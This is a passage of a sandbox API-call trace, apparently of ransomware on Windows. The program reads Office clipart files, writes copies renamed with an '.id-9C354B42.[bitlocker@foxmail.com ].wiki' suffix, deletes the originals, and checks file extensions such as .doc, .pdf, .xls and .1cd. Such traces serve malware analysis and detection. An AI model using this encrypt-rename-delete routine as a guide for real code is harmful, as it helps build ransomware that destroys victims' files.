dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0064.729] GetLastError () returned 0x0 [0064.729] ReadFile (in: hFile=0x20c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x370, lpOverlapped=0x0) returned 1 [0064.731] WriteFile (in: hFile=0x214, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x380, lpOverlapped=0x0) returned 1 [0064.731] ReadFile (in: hFile=0x20c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0064.732] WriteFile (in: hFile=0x214, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0064.732] SetEndOfFile (hFile=0x214) returned 1 [0064.732] CloseHandle (hObject=0x214) returned 1 [0064.732] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.732] SetEndOfFile (hFile=0x20c) returned 1 [0064.733] CloseHandle (hObject=0x20c) returned 1 [0064.733] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0064.733] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00105_.wmf")) returned 1 [0064.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0064.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0064.733] lstrlenW (lpString=".doc") returned 4 [0064.733] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.733] lstrlenW (lpString=".docx") returned 5 [0064.733] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.733] lstrlenW (lpString=".pdf") returned 4 [0064.733] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.733] lstrlenW (lpString=".xls") returned 4 [0064.733] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.733] lstrlenW (lpString=".xlsx") returned 5 [0064.733] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0064.733] lstrlenW (lpString=".ppt") returned 4 [0064.733] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0064.733] lstrlenW (lpString=".zip") returned 4 [0064.733] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.733] lstrlenW (lpString=".rar") returned 4 [0064.734] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.734] lstrlenW (lpString=".bz2") returned 4 [0064.734] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.734] lstrlenW (lpString=".7z") returned 3 [0064.734] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0064.734] lstrlenW (lpString=".dbf") returned 4 [0064.734] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0064.734] lstrlenW (lpString=".1cd") returned 4 [0064.734] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0064.734] lstrlenW (lpString=".jpg") returned 4 [0064.734] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0064.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0064.734] lstrlenW (lpString=".doc") returned 4 [0064.734] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.734] lstrlenW (lpString=".docx") returned 5 [0064.734] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.734] lstrlenW (lpString=".pdf") returned 4 [0064.734] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.734] lstrlenW (lpString=".xls") returned 4 [0064.734] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.734] lstrlenW (lpString=".xlsx") returned 5 [0064.734] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0064.734] lstrlenW (lpString=".ppt") returned 4 [0064.734] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0064.734] lstrlenW (lpString=".zip") returned 4 [0064.734] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.734] lstrlenW (lpString=".rar") returned 4 [0064.734] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.734] lstrlenW (lpString=".bz2") returned 4 [0064.734] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.734] lstrlenW (lpString=".7z") returned 3 [0064.734] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0064.735] lstrlenW (lpString=".dbf") returned 4 [0064.735] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0064.735] lstrlenW (lpString=".1cd") returned 4 [0064.735] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0064.735] lstrlenW (lpString=".jpg") returned 4 [0064.735] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.735] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0064.735] lstrlenW (lpString="BL00122_.WMF") returned 12 [0064.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0064.735] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=10146) returned 1 [0064.735] CloseHandle (hObject=0x20c) returned 1 [0064.735] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf")) returned 0x20 [0064.735] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0064.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0064.735] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.736] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0064.736] GetLastError () returned 0x0 [0064.736] ReadFile (in: hFile=0x20c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x27a2, lpOverlapped=0x0) returned 1 [0064.737] WriteFile (in: hFile=0x214, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x27b0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x27b0, lpOverlapped=0x0) returned 1 [0064.738] ReadFile (in: hFile=0x20c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0064.738] WriteFile (in: hFile=0x214, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0064.738] SetEndOfFile (hFile=0x214) returned 1 [0064.738] CloseHandle (hObject=0x214) returned 1 [0064.739] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.739] SetEndOfFile (hFile=0x20c) returned 1 [0064.739] CloseHandle (hObject=0x20c) returned 1 [0064.740] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0064.740] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00122_.wmf")) returned 1 [0064.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0064.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0064.740] lstrlenW (lpString=".doc") returned 4 [0064.740] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.740] lstrlenW (lpString=".docx") returned 5 [0064.740] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.740] lstrlenW (lpString=".pdf") returned 4 [0064.740] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.740] lstrlenW (lpString=".xls") returned 4 [0064.740] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.740] lstrlenW (lpString=".xlsx") returned 5 [0064.740] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0064.740] lstrlenW (lpString=".ppt") returned 4 [0064.740] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0064.740] lstrlenW (lpString=".zip") returned 4 [0064.740] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.740] lstrlenW (lpString=".rar") returned 4 [0064.740] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.740] lstrlenW (lpString=".bz2") returned 4 [0064.740] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.740] lstrlenW (lpString=".7z") returned 3 [0064.741] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0064.741] lstrlenW (lpString=".dbf") returned 4 [0064.741] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0064.741] lstrlenW (lpString=".1cd") returned 4 [0064.741] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0064.741] lstrlenW (lpString=".jpg") returned 4 [0064.741] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0064.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0064.741] lstrlenW (lpString=".doc") returned 4 [0064.741] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.741] lstrlenW (lpString=".docx") returned 5 [0064.741] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.741] lstrlenW (lpString=".pdf") returned 4 [0064.741] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.741] lstrlenW (lpString=".xls") returned 4 [0064.741] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.741] lstrlenW (lpString=".xlsx") returned 5 [0064.741] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0064.741] lstrlenW (lpString=".ppt") returned 4 [0064.741] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0064.741] lstrlenW (lpString=".zip") returned 4 [0064.741] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.742] lstrlenW (lpString=".rar") returned 4 [0064.742] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.742] lstrlenW (lpString=".bz2") returned 4 [0064.742] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.742] lstrlenW (lpString=".7z") returned 3 [0064.742] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0064.742] lstrlenW (lpString=".dbf") returned 4 [0064.742] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0064.742] lstrlenW (lpString=".1cd") returned 4 [0064.742] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 63 [0064.742] lstrlenW (lpString=".jpg") returned 4 [0064.742] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.742] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0064.742] lstrlenW (lpString="BL00130_.WMF") returned 12 [0064.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0064.742] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1464) returned 1 [0064.742] CloseHandle (hObject=0x20c) returned 1 [0064.742] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf")) returned 0x20 [0064.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0064.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0064.743] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.743] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0064.743] GetLastError () returned 0x0 [0064.743] ReadFile (in: hFile=0x20c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x5b8, lpOverlapped=0x0) returned 1 [0064.751] WriteFile (in: hFile=0x214, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0064.752] ReadFile (in: hFile=0x20c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0064.752] WriteFile (in: hFile=0x214, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0064.752] SetEndOfFile (hFile=0x214) returned 1 [0064.752] CloseHandle (hObject=0x214) returned 1 [0064.752] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.752] SetEndOfFile (hFile=0x20c) returned 1 [0064.753] CloseHandle (hObject=0x20c) returned 1 [0064.753] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0064.753] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf")) returned 1 [0064.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0064.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0064.753] lstrlenW (lpString=".doc") returned 4 [0064.753] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.753] lstrlenW (lpString=".docx") returned 5 [0064.753] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.753] lstrlenW (lpString=".pdf") returned 4 [0064.753] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.753] lstrlenW (lpString=".xls") returned 4 [0064.753] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.754] lstrlenW (lpString=".xlsx") returned 5 [0064.754] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0064.754] lstrlenW (lpString=".ppt") returned 4 [0064.754] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0064.754] lstrlenW (lpString=".zip") returned 4 [0064.754] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.754] lstrlenW (lpString=".rar") returned 4 [0064.754] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.754] lstrlenW (lpString=".bz2") returned 4 [0064.754] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.754] lstrlenW (lpString=".7z") returned 3 [0064.754] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0064.754] lstrlenW (lpString=".dbf") returned 4 [0064.754] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0064.754] lstrlenW (lpString=".1cd") returned 4 [0064.754] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0064.754] lstrlenW (lpString=".jpg") returned 4 [0064.754] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0064.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0064.754] lstrlenW (lpString=".doc") returned 4 [0064.754] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.754] lstrlenW (lpString=".docx") returned 5 [0064.754] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.754] lstrlenW (lpString=".pdf") returned 4 [0064.754] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.754] lstrlenW (lpString=".xls") returned 4 [0064.754] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.754] lstrlenW (lpString=".xlsx") returned 5 [0064.754] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0064.754] lstrlenW (lpString=".ppt") returned 4 [0064.754] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0064.755] lstrlenW (lpString=".zip") returned 4 [0064.755] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.755] lstrlenW (lpString=".rar") returned 4 [0064.755] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.755] lstrlenW (lpString=".bz2") returned 4 [0064.755] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.755] lstrlenW (lpString=".7z") returned 3 [0064.755] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0064.755] lstrlenW (lpString=".dbf") returned 4 [0064.755] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0064.755] lstrlenW (lpString=".1cd") returned 4 [0064.755] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0064.755] lstrlenW (lpString=".jpg") returned 4 [0064.755] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.755] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0064.755] lstrlenW (lpString="BL00148_.WMF") returned 12 [0064.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0064.755] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1696) returned 1 [0064.756] CloseHandle (hObject=0x20c) returned 1 [0064.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf")) returned 0x20 [0064.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0064.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0064.756] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.756] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0064.756] GetLastError () returned 0x0 [0064.756] ReadFile (in: hFile=0x20c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, 